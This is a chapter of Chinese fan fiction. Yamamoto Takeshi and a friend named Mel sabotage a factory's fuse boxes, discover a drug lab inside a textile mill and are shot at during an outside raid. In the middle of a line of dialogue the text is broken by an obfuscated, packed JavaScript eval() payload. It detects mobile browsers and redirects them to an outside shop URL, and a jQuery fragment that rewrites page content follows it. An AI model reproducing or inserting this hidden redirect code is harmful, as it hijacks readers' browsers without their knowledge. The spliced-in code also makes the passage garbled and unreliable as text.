“我们得先找到电闸,”黑暗里,山本的声音轻得像冷冰冰的雾,“不然他们开了灯,我们就有大麻烦了。”
梅尔深以为然:“我们得下一楼去。”
为配合生产需要,同时避免安全事故发生,大型厂房的配电室一般会被设计在建筑的一端,同时处于整层楼的底部,同时,每一层楼里也会分配零散的电闸,以便捷生产的速率。
进入了厂房内部,不用想,外面绝对已被围得水泄不通。两人只能在厂房内周旋,而如果灯光大亮,他们将无所遁形。
两人迅速达成了一致,这期间甚至用不着更多的沟通。他们默契地沿着墙壁前进,沉默之中,刺鼻的气味弥漫着,团团的黑暗让他们几乎看不清彼此的存在。
视觉被剥夺,其他的感官便活跃起来。梅尔向前走,听到了细微的脚步声、自己的心跳声、脉搏汩汩跳动着,突然,她摸到了什么东西,惊喜地回过头,然后这次她听到了呼吸时气流喷吐的声音。
“……”
不知不觉间他们已距离过近,若非男人即使刹住脚步,他们两个就会撞在一起。
“找到电闸了,这层的,”梅尔说,“有没有工具?”
黑暗中,山本做了个动作,他反手抽出了什么,说:“梅尔,让开一点。”
梅尔挪了挪脚步,他顺势一劈,火花在半空中爆破一声,电流滋滋地响,籍由一闪而过的光,梅尔看清了男人手里握着的东西:那竟是一把寒光凛凛的长剑。
自偶遇以来,山本武身后便一直背着个长条状袋子。梅尔对此没有提出疑问:在她眼里,这个也是山本选手的随身标志之一,棒球棍嘛,理所当然的。
没想到里面居然是剑!
这一瞬间,梅尔脑海中划过了乱七八糟的念头,最后提炼出来的精华是:平时看上去普通又平常的随身物品其实是破局的关键——这种设定帅呆了好不好!
不愧是山本,哪怕过了那么多年,依旧和她走在同一条道路上,梅尔简直要感动地鼓掌了。
山本武转动手腕,收剑回鞘,语气轻松了些:“至少这一层里,他们没办法抓到我们了。”
但还有其他层。
于是,不久之前累死累活地爬楼梯,现在又要开始下楼梯。
所幸他们很快找到了楼梯间,这有一定原因在于当初他们在外遥望时确定了它的方位。
解决了带锁的沉重的铁门。
下第一节台阶前,山本武顿了顿,喊:“梅尔?”
“嗯?”梅尔已经下了一节台阶,闻言转过头,应了一声。
“……”
他知道她回过了头,可是,看不清她的脸。
黑暗里,人与人模糊成不定的形体,融化在虚无之中。山本武已经极力遏制了,他告诫自己:心跳、呼吸、脚步声都可以证明这个人的存在,可他还是控制不住地越靠越近,然后在抵达某个临界点的时候,他恍悟了。
没有亲手触摸,心是不会安定下来的;在人类所有的感官里,只有触觉是最原始而最能够让人得到安全的那个。
“能牵着手吗?”他说,“我怕跟丢了你。”
梅尔说:“楼梯上牵手?要是我摔倒了,你也会和我一起摔下去的。
哈哈,想想到时候两个倒霉熊一起骨碌碌地滚下台阶。
——场景就会从《惊天怪盗团》《绝密杀手》无缝切换到《这个杀手不太冷静》《两个大傻蛋》。
山本的语气听上去很遗憾:“不可以吗?”
“不,”梅尔说,“我的意思是,我是绝对不会摔倒的。你不信任我?呵呵,我只是轻轻一试,你却输得彻底,年轻人,你没有通过我的考验。”
她一边说着,一边把手伸了过来。
神奇吗?人的手指就像是原始的磁铁一样,哪怕在黑暗中也能够找到彼此,温热的手指交缠着,于是,两个灵魂也纠缠在了一起。
“走吧,”梅尔确认握紧了他的手,说。
他们往下走。
空旷的楼梯间里,脚步声飞快地跳起,像刀一下又一下砍在砧板,砧板上的鱼甩动着尾巴,热烈地回应,于是回声阵阵。
下了一层。
破坏了当层电闸。
又下了一层。
再一次破坏了当层电闸。
不能再继续向下了,敌人再磨蹭、厂房再重要,对方到底也还是打开了大门,进入了内部。
总电闸被打开,一层和二层的灯光豁然展露。
楼梯间,墙壁贴着的瓷砖折射出了柔和的光线,层层反射之后照亮了两人的脸。他们脚步一顿,梅尔用气音说了个“跑”,接着毫不犹豫地转身向上。
转身的过程中,牵着的手自然而然地松开了。朦胧模糊的光晕里,她的影子像只鸟,在晃动的镜头之间奔跑。
记录着的镜头名为山本武。
男人摩挲一下被松开的手指,迅速跟上了前面奔跑的人,奔过一层台阶之后,他们选择了第四层楼,这一次,他们没有再贴着墙壁前进,而是一头扎进了不知边界的空间里。
·
这里是普拉托当地最大的纺织厂,至少明面上是这样。
但自进入此处以来,令人嗅之不适的气味便将他们团团包裹住。它仿佛来自于土地,来自于某种自然的植物,而被人类提取之后,它变成了罪恶的来源、伊甸园的苹果、令人发疯的毒舌。
随着梅尔深入,这股气味愈发浓郁,再没有办法被忽略。
大型仪器盘踞在地面上,半完成的产品被存放在它们的内部。纵使看不分明,也能够得出模糊的判断。梅尔走过其中,几乎和山本武在同一时间确认了:这里就是隐藏在纺织厂内部的毒/品生产点。
怪不得那些人如此紧张、却又投鼠忌器,怪不得这里被看守得最为严密,原来因为此处是三大家族最大的摇钱树基地——没有之一。
这世上再没有比这更暴利的行当了。籍由这些摧毁人体精神、损伤人体细胞的产物,三大家族累积了丰厚的财富。
无怪他们冒着风险,也要和教父先生作对。英国工会政论家托马斯·约瑟夫·登宁十九世纪就已发表了这世间的至理名言,若有百分之三百的利润,资本就敢犯任何罪行,甚至冒绞首的危险。
——毒/品的利润,又何止百分之三百。
梅尔叹为观止,她对山本武说:“这群人如果被警察抓了,靶场能连响三年。”
然后她耸了耸肩:“不过,坏消息,我来意大利三年,没听说过意大利警察有存在感。”
来意大利三年了吗?那么,之前去了哪里呢?
此外,在意大利,警察确实没什么存在感。官僚腐败、政府无能,意大利的警察也因此强横不起来,倘若你见到了一个行事强硬的警察,那么只有一个可能,那就是他暗中与黑/帮有往来。
“指望警察来把他们取缔,还不如指望有黑/手/党来黑吃黑,”梅尔自言自语,“虽然更大的可能是新的黑/手/党一来,那么一看,嘿!好活儿,于是大伙一块儿同流合污。”
山本武摸了摸鼻子,为自己的职业申辩:“……现在也是有黑/手/党抵制毒/品的。”
“这种事情
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17550838|204331||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
根本不可能吧,除非来的□□是我们当初建的,唔,沢田做首领的那个,”梅尔说,“小孩子过家家都没那么纯良。”
啊,真是抱歉了。在这件事上,彭格列现在还真是小孩子过家家一样纯良……黑暗中,山本莫名有些想笑,可又笑不出来。
梅尔犀利地说:“但我们当初建的那个黑/手/党也已经解散了吧,所以说啊阿武,我们完蛋了……”
没想到被卷进了如此事态之中,虽然中途有全身而退的机会,是自己因为好奇心而故意横插了一脚进来,邪王大人仍然感到了一丝悲切与凄凉,她承诺:“等我们平安出去了,我绝对会请你喝咖啡的山本。真的。哪怕我钱包里只剩下最后一个钢镚儿我也会坚守约定。”
山本:“都说了是‘阿武’。”
梅尔:“都说了是为了押韵。”
“出去之后,还是由我来请梅尔吧,我现在可是有工作的成年人了,”山本武说。
这也太不好意思了吧,但想想自己还是失业状态……梅尔麻溜地答应了。
不过,他们该怎么出去呢?
此外,梅尔也不想就那么离开,毒/品什么的,她果然还是看不惯,如果可以,她想把它们销毁。
“我们放把火把这里烧了怎么样?”她异想天开。
而这也暴露了她的文盲,山本武:“如果我们不想让这座城市的人都吸入毒品,最好还是不要。”
想想全城的人吸入过量的毒烟提前过圣诞节嗨起来,普拉特变成丧尸之城……好吧,梅尔悻悻然闭嘴了。
三两对话之间,没过多久,光亮从他们身后远处出现,隐隐约约地追了上来。亮度慢慢提高了,举着高强度手电筒的敌人扫射着四周,以直长明亮的光线来搜寻他们的身影。
他们一边搜寻,一边说着什么。骂声窸窸窣窣地传来,逐渐扩大。
“该死!这层的电闸也坏了。”
“那两只黄皮猪不知道躲到了哪里……”
“等我把他们抓到手,一定让他们不得好死!”
“……”
“没见我忙着吗……一点小事也搞不定吗?!”
“……什么?有不明火力逼近,已经全面攻破了外部?见鬼,那看守的人呢,都死光了吗?!”
“……真的全死了?!对面现在推到哪里了——该死,该死!马上把那两个人给我找出来!”
语句在空旷的建筑内碰撞,惊怒慌张的回音叠在一起,一时凌乱不堪。敌人显然是遭遇了新的外来情况,还未听到更多信息,匆乱之间,梅尔感觉脚下的地板猛然一震。
轰——!!!
一声爆破的巨响将所有人的耳膜炸得发钝,厂房的玻璃在声波和气浪的冲击下剧烈振响,嗡嗡不绝。
地震?!
不,不对!地震不会来得如此突兀而威力猛烈,只有一个可能,有其他人也在入侵这片厂区,而他们有着足够的火力!
又是一声轰隆,远处的窗户被明亮的火光鲜亮,橙红色贯穿深色的夜空,将厂房内部照得有片刻的一览无余。
梅尔的身影不幸被一个敌人捕捉到,他咆哮一声“在那里”,毫不犹豫举枪射出了子弹。
现在已经不是投鼠忌器的时刻了。老巢都要被端了,厂房的仪器被破坏了又有何妨,当务之急是把对方捉住!
梅尔按着山本的脑袋,两人麻溜缩回仪器后面,嚓啷嚓啷,密集的子弹划过光滑仪器的表面,摩擦出细长喷张的火花,接着射入远处的墙壁。
硝烟味弥漫。
“——叮咚!发布任务:活下去。”